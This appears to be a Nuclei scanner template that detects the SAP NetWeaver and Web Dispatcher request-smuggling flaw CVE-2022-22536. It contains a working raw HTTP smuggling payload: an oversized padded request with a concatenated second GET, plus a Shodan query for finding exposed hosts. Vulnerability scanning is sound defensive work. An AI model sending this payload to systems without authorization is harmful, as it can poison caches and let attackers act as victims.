nuclei-templates/http/cves/2022/CVE-2022-22536.yaml

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id: CVE-2022-22536
info:
name: SAP Memory Pipes (MPI) Desynchronization
author: pdteam
severity: critical
description: SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 and SAP Web Dispatcher are vulnerable to request smuggling and request concatenation attacks. An unauthenticated attacker can prepend a victim's request with arbitrary data. This way, the attacker can execute functions impersonating the victim or poison intermediary web caches. A successful attack could result in complete compromise of Confidentiality, Integrity and Availability of the system.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-22536
- https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day+-+February+2022
- https://github.com/Onapsis/onapsis_icmad_scanner
- https://blogs.sap.com/2022/02/11/remediation-of-cve-2022-22536-request-smuggling-and-request-concatenation-in-sap-netweaver-sap-content-server-and-sap-web-dispatcher/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2022-22536
cwe-id: CWE-444
epss-score: 0.96833
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metadata:
max-request: 2
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shodan-query: http.favicon.hash:-266008933
tags: cve,cve2022,sap,smuggling,netweaver,web-dispatcher,memory-pipes,kev
http:
- raw:
- |+
GET {{sap_path}} HTTP/1.1
Host: {{Hostname}}
Content-Length: 82646
Connection: keep-alive
{{repeat("A", 82642)}}
GET / HTTP/1.1
Host: {{Hostname}}
payloads:
sap_path: # based on https://github.com/Onapsis/onapsis_icmad_scanner
- /sap/admin/public/default.html
- /sap/public/bc/ur/Login/assets/corbu/sap_logo.png
unsafe: true
read-all: true
stop-at-first-match: true
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: dsl
dsl:
- "contains(tolower(body), 'administration')" # confirms 1st path
- "contains(tolower(header), 'content-type: image/png')" # confirms 2nd path
condition: or
- type: word
part: body
words:
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- "HTTP/1.0 400 Bad Request" # error in concatenated response
- "HTTP/1.0 500 Internal Server Error"
- "HTTP/1.0 500 Dispatching Error"
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condition: or